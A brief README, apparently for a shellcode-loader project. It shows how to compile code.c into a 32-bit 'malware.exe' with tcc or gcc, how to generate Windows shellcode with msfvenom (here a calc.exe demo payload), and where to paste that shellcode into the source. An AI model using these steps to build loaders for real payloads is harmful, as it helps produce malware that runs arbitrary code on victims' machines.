To compile code use tcc-compiler or gcc:
# tcc
tcc code.c -o malware.exe -m32
#gcc
gcc code.c -m32 -o malware.exe
To generate shellcode use msfvenom:
msfvenom -p windows/exec CMD='calc.exe' -f c
And change this line to yours with shellcode:
7 unsigned char shellcode[] = ""; // shellcode here